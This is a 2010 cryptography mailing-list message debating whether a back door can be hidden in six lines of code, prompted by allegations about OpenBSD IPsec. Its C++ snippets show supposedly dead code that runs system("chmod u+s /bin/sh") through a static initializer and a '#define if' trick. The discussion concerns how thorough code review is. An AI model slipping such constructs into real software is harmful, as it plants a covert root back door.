On 12/17/2010 09:46 AM, Kevin W. Wall wrote:
I like it. And I propose that this be the 6 lines of code:
int a;
int b;
int c;
int d;
int e;
int f;
OK, so what's your solution then? :-)
Because of my style with C++, I've written lots of bugs where I
re-declared a variable in an inner scope where it was used, thus masking
the value of an outer instance.
int array[arraylen] = { ... };
int sum = 0;
for (int i = 0; i < arraylen; ++i)
{
//...
int sum += array[i];
//...
}
Not impossible, but good luck with that! OK, don't like that one? How about
these 6 lines:
}
}
}
}
}
}
The checkin which disables authentication for IPsec ESP
http://code.bsd64.org/cvsweb/openbsd/src/sys/netinet/ip_esp.c.diff?r1=1.62;r2=1.63;f=h
does so with only a change to an 'else' statement and one closing brace.
or maybe 6 arbitrary #include lines?
Oh that's easy. Just add a matching file earlier in the include path.
Such a bug might not even be visible by inspecting just the source code,
you'd have to know the build settings.
Or to be *really* mean, try to do
something with this?
void someNeverCalledFcn()
{
// Any 6 lines you would like
}
void someNeverCalledFcn()
{
struct friendly { friendly() { // C++
system("chmod u+s /bin/sh") ^ (int)&someNeverCalledFcn;
} };
static friendly f;
}
That might work, depending on how the compiler and linker choose to
defer static initializations.
Or to be more crude about it...
void someNeverCalledFcn()
{
static bool b = system("chmod u+s /bin/sh"), false;
#define if if ((someNeverCalledFcn(), false)) else
}
Oh, and BTW, did I mention that these *NINE* lines are the LAST 9 lines of
the C source file
Perhaps an #include then.
and as the function name indicates, it's just dead
code that someone left lying around and is never called??? I'm pretty sure
this one is especially hard to do much with other than perhaps causing
compilation errors. (Or maybe you can exploit a BoF in the C compiler!!!
Does that count? Works for me.)
On some systems you could re-define a function that's ordinarily brought
in by a static library.
OK, obviously, such a contest would need some additional constraints, such
as the one attempting the back door gets to see the rest of the program! Fair
enough.
Also, such a contest should not be CONTRIVED code, but actual working code.
So, the greater chore might be to pick something suitable to attempt to
back door.
Lastly, since this whole discussion arose from allegations of a OpenBSD IPSec
back door, I contend that 1) not only should the code be open sources, but
2) the back door must be implemented in a way that is NOT obvious!
That makes it a little harder then.
What do I want the latter constraint (back door not obvious)?
Because otherwise it would be a front door? :-)
Because,
the OpenBSD team is very thorough about doing manual code inspection
of all the code that is in the OpenBSD kernel.
I no longer believe that.
So in the case of this
specific allegation, such back doored code would have had to slip by
any original as well as subsequent code inspections.
There are hundreds of lines of dead code functions in the OpenBSD IPsec
code.
If the back door
were "obvious" (and I realize that's a subjective term, but we are all
likely to say "I'd know an *obvious* back door if I saw it"...at least
if it in my are of subject matter expertise), then it would have been
useless.
I'm starting to get the idea that people just aren't reviewing the
commits on even medium-large-sized projects like OpenBSD as thoroughly
as we'd like to think.
- Marsh
_______________________________________________
cryptography mailing list
cryptography@randombit.net
http://lists.randombit.net/mailman/listinfo/cryptography
